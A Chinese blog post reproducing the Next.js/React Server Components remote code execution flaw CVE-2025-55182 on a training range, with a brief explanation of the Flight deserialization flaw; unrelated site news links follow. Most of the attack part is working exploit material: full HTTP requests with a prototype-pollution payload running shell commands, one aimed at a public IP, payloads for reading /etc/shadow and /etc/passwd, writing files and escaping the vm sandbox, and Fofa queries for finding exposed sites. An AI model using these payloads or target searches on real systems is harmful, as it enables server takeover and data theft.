CVE-2025-55182复现
使用的是春秋云镜靶场进行的复现先讲怎么利用poc的然后在来探讨整个漏洞的形成、复现首先对网页进行一个抓包GET /install HTTP/2 Host: eci-2zeck0otubcneyef2pbq.cloudeci1.ichunqiu.com:3000 Cookie: localezh-Hans Cache-Control: max-age0 Sec-Ch-Ua: Chromium;v143, Not A(Brand;v24 Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: Windows Accept-Language: zh-CN,zh;q0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u0, i![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/652b87a6ea59403c9d7bb0604d333386.png)然后根据poc进行一个改包POST /apps HTTP/2 Host: eci-2zeck0otubcneyef2pbq.cloudeci1.ichunqiu.com:3000 Cookie: localezh-Hans Cache-Control: max-age0 Sec-Ch-Ua: Chromium;v143, Not A(Brand;v24 Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: Windows Accept-Language: zh-CN,zh;q0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u0, i Next-Action: x X-Nextjs-Request-Id: 91dmljym Content-Type: multipart/form-data; boundary----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: hst51Myl5trXfvWsC9Ay6 Content-Type: application/x-www-form-urlencoded Content-Length: 689 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name0 {then:$1:__proto__:then,status:resolved_model,reason:-1,value:{\then\:\$B1337\},_response:{_prefix:var resprocess.mainModule.require(child_process).execSync(id).toString().trim();;throw Object.assign(new Error(NEXT_REDIRECT),{digest: NEXT_REDIRECT;push;/login?a${res};307;});,_chunks:$Q2,_formData:{get:$1:constructor:constructor}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name1 $0 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name2 [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--然后发现id得到了验证就是验证了漏洞所在所以进行一个cat /flag拿到flag下面的poc就是本次复现的是我之前整合在一起的但是是哪位老师的不记得了pocFofa使用RSC的包含js语法body“react.production.min.js” || body“React.createElement(” || body“React Router” || body“React.js”nextJs语法app“NEXT.JS”difyapp“Dify”漏洞说明任何捆绑了 react-server 实现的框架或库都可能存在漏洞React ServerReact Server 19.0.0React Server 19.0.1React Server 19.1.*React Server 19.2.0Next.jsNext.js v15.0.0 - v15.0.4Next.js v15.1.0 - v15.1.8Next.js v15.2.x -v15.5.6Next.js v16.0.0 - v16.0.6Next.js v14.3.0-canary.77及以上Canary 版本其他用到的框架不全RedwoodSDK、Waku、RedwoodJS (rwsdk)、React RouterRSC 预览版、Parcel RSC 插件 (parcel/rsc)、Vite RSC 插件 (vitejs/plugin-rsc)漏洞攻击链的本质是利用服务器对用户输入验证不严的缺陷通过原型链或其他方式操纵程序的内部逻辑最终调用一个危险的代码执行函数如vm.runInThisContextfs#readFileSync并传入恶意参数最终实现逻辑应该为pocPOST /formaction HTTP/1.1 Host: Content-Type: multipart/form-data; boundary----Boundary Content-Length: 297 ------Boundary Content-Disposition: form-data; name$ACTION_REF_0 ------Boundary Content-Disposition: form-data; name$ACTION_0:0 Content-type:application/json { id: fs#readFileSync, bound: [/etc/shadow] } ------Boundary--dify参考tested on next.js 16.0.6, might need some changes to be applied to other RSC frameworksPOST /apps HTTP/1.1 Host: 43.160.252.242 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 565 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name0 {then:$1:__proto__:then,status:resolved_model,reason:-1,value:{\then\:\$B1337\},_response:{_prefix:var resprocess.mainModule.require(child_process).execSync(id).toString().trim();;throw Object.assign(new Error(NEXT_REDIRECT),{digest: NEXT_REDIRECT;push;/login?a${res};307;});,_chunks:$Q2,_formData:{get:$1:constructor:constructor}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name1 $0 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name2 [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--github上pocejpir/CVE-2025-55182-POCCVE-2025-55182 POC执行shell命令whoami { id: child_process#execSync, bound: [whoami] } 阅读敏感文件 { id: fs#readFileSync, bound: [/etc/passwd] } 写入文件到磁盘 { id: fs#writeFileSync, bound: [/tmp/pwned.txt, CVE-2025-55182] } 执行任意JavaScript { id: vm#runInThisContext, bound: [process.mainModule.require(child_process).execSync(id).toString()] } 沙盒逃逸vm.runInNewContext { id: vm#runInNewContext, bound: [this.constructor.constructor(return process)().mainModule.require(child_process).execSync(whoami).toString()] }利用条件总的来说漏洞利用要满足以下非纯前端使用了React服务端组件RSC功能前后端不可分离简单的说就是全栈框架且使用RSC服务端功能或者使用React SSR和RSC服务才行漏洞学习其实poc上面也提到了只是我可能还想再详细的学习一下协议层React Flight首先网页有三个时代分别是传统网站PHP、JSP浏览器点一下服务器就会返回html语言的整个网页每刷新一次HTML会整个重新生成React SPA不会再次返回整个网页比如浏览器打开index.html只有一次以后的数据都是GET /api/chat ↓ { message:hello }就是json重新渲染dom不会重新返回整个html3. React Server ComponentsFlight拆分成组件树的形式每次就是把组件发给浏览器然后根据组件再去更新相应组件位置服务器收到后的第一件事情就是把Flight还原成JavaScript对象流程Browser │ ▼ Flight Payload │ ▼ Next.js │ ▼ Flight Decoder解析 │ ▼ JavaScript Object │ ▼ Server ActionCVE-2025-55182 的真正核心就发生在恢复JavaScript对象这一步是因为服务器把Flight数据恢复成JavaScript对象时对输入校验不足而导致的

相关新闻

如何通过G-Helper实现华硕笔记本性能与能效的完美平衡

如何通过G-Helper实现华硕笔记本性能与能效的完美平衡

如何通过G-Helper实现华硕笔记本性能与能效的完美平衡 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, Vivobook, Zenbook, Expertbook, R…

2026/10/10 12:00:42 阅读更多 →
零基础自学C语言|2027专升本考生的系统化学习攻略

零基础自学C语言|2027专升本考生的系统化学习攻略

零基础自学C语言|2027专升本考生的系统化学习攻略(附每周行动方案)正在自学、准备入门C语言的朋友,先别急着刷视频、敲代码,停下来看完这篇,帮你告别盲目学习!很多新手学C语言最大的误区&#x…

2026/10/12 7:59:13 阅读更多 →
2026年头部GEO公司横向对比评测:微盟星启核心指标全领先

2026年头部GEO公司横向对比评测:微盟星启核心指标全领先

一、引言GEO(生成式引擎优化)行业经过几年的快速发展,已经从早期的概念期进入到快速成长期。市场上涌现出了众多的GEO服务商,但经过市场的筛选与淘汰,头部效应已经开始显现。几家头部GEO公司凭借技术、资源、经验等优势…

2026/10/7 15:45:56 阅读更多 →

最新新闻

基于JavaWeb的图书馆管理系统:从数据库设计到答辩全流程拆解

基于JavaWeb的图书馆管理系统:从数据库设计到答辩全流程拆解

每年我的邮箱和私信都会被同一个问题塞满:“老师,有没有现成的毕设项目?最好简单点、能跑通、好答辩。”今年那批600套毕设分享出来之后,我翻了一圈,发现图书馆管理系统仍然是出现频率最高的题目之一。说句实话&#x…

2026/10/13 15:59:05 阅读更多 →
VirtualBox VMX源码深度解析:VMCS结构与硬件虚拟化实现

VirtualBox VMX源码深度解析:VMCS结构与硬件虚拟化实现

1. 为什么从VMX切入看VirtualBox源码——不是选最炫的,而是选最“痛”的很多人一看到“VirtualBox源码分析”,第一反应是去翻src/VBox/Devices里那些网卡、显卡模拟器的代码,觉得“看得见摸得着”。我试过,也这么干过——结果两周…

2026/10/13 15:59:05 阅读更多 →
精品水果线上销售网站设计与实现:Spring Boot+Vue全栈电商实战

精品水果线上销售网站设计与实现:Spring Boot+Vue全栈电商实战

1. 内容整体设计与思路拆解做毕业设计选“精品水果线上销售网站”,这个题目乍一看平平无奇,但真正动手做起来,你会发现它其实是把前端展示、后端业务、数据库设计、支付流程、权限控制全串起来的一个完整闭环。我见过太多人选电商类题目最后做…

2026/10/13 15:59:05 阅读更多 →
基于Spring Boot+Vue的精品水果销售网站设计与实现全解析

基于Spring Boot+Vue的精品水果销售网站设计与实现全解析

这段时间正好在帮一位学弟审他的毕业设计,题目就是“精品水果线上销售网站的设计与实现”。说实话,看到这个题目的时候我愣了一下——现在网上商城类的毕设选题太多了,图书、服饰、数码应有尽有,但“精品水果”这个切入点有点意思…

2026/10/13 15:59:05 阅读更多 →
LiteLLM实战:统一大模型API调用与代理网关搭建指南

LiteLLM实战:统一大模型API调用与代理网关搭建指南

如果你和我一样,每天要跟三四个不同的大模型API打交道,可能早就被这一堆SDK和鉴权方式搞得头大了。我一开始是拿LiteLLM当“偷懒工具”用的:它能把OpenAI、Anthropic、Gemini这些五花八门的接口统一成一个Python调用,后来才发现这…

2026/10/13 15:59:05 阅读更多 →
STM32电源闭环控制:ADC触发+双环PID+硬件保护实战

STM32电源闭环控制:ADC触发+双环PID+硬件保护实战

简介:本资源为电子设计大赛(电赛)电源类专项程序代码合集,面向高校电子类专业学生、电赛备赛团队及嵌入式电源系统开发者,聚焦电源管理、闭环控制与硬件协同等核心难点,助力快速构建稳定可靠的电源子系统。…

2026/10/13 15:58:04 阅读更多 →

日新闻

物联网系统集成避坑指南:从选型到验收的关键要点

物联网系统集成避坑指南:从选型到验收的关键要点

做了这么多年物联网系统集成的项目,我最大的感受是,大部分坑不是出在技术前沿,而是出在一些看起来很平常的地方。设备选了便宜的、协议没问清楚、现场没摸透、验收标准写得含糊——这些细枝末节,最后都会变成延期、超支和扯皮的大…

2026/10/13 0:00:57 阅读更多 →
ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

ESP32舵机控制全攻略:从PWM原理到高级玩法与常见故障排查

如果你玩ESP32有一阵子了,很难不碰到舵机控制这道坎。做智能小车要转方向,做机械臂要抬关节,做云台要偏航俯仰,背后都是同一个东西在干活:舵机。而我见过太多人卡在“代码能编译、舵机就是不听话”这个阶段&#xff0c…

2026/10/13 0:00:57 阅读更多 →
CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

CAN总线原理与STM32实战:抗干扰、仲裁、错误处理全解析

1. 为什么CAN总线至今仍是工业现场的“硬通货”?——从汽车底盘到智能温室的真实需求你有没有拆过一辆老款燃油车的中控台?或者调试过某高校实验室里那台跑着Modbus协议却频频丢帧的PLC控制柜?又或者,在某个农业物联网项目里&…

2026/10/13 0:00:57 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/13 2:54:56 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/12 0:16:38 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/13 1:58:08 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 21:05:09 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 14:57:39 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →